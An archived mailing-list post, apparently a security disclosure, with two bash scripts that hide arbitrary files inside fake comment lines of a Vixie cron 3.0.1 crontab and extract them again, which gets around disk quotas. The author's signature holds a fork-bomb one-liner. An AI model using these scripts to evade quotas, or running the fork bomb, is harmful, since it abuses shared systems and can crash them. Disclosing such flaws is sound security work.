The problem with vixie cron is wider (and more funny) than I expected. Here's my proggy which allows hiding files of any kind and size into crontab entries (remember, quota is ignored ;-): -- cron_put -- #!/bin/bash echo "Vixie cron 3.0.1 file storage - put utlility" echo "by Michal Zalewski <lcamtufat_private>" echo if [ "$1" = "" ]; then echo usage: $0 file_to_hide echo exit 0 fi if [ ! "`ulimit`" = "unlimited" ]; then echo Warning, filesize limit is set to `ulimit`. echo fi echo Installing fake crontab... echo echo "* * * * * # whoops..." >vix_tmp uuencode $1 <$1 | awk -F "\n" '{print "#FAKE" $1}' >>vix_tmp crontab vix_tmp echo "Thank you, file stored successfully." -- eof -- The next program allows futher extraction of these files: -- cron_get -- #!/bin/bash echo "Vixie cron 3.0.1 file storage - get utility" echo "by Michal Zalewski <lcamtufat_private>" echo if [ ! "`ulimit`" = "unlimited" ]; then echo Warning, filesize limit is set to `ulimit`. echo fi crontab -l | grep "#FAKE" | awk -F "#FAKE" '{print $2}'|uudecode echo "File restored successfully." -- eof -- _______________________________________________________________________ Michał Zalewski [tel 9690] | finger 4 PGP [lcamtufat_private] Iterować jest rzeczą ludzką, wykonywać rekursywnie - boską [P. Deustch] =--------------- [ echo "\$0&\$0">_;chmod +x _;./_ ] -----------------=
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:41:43 PDT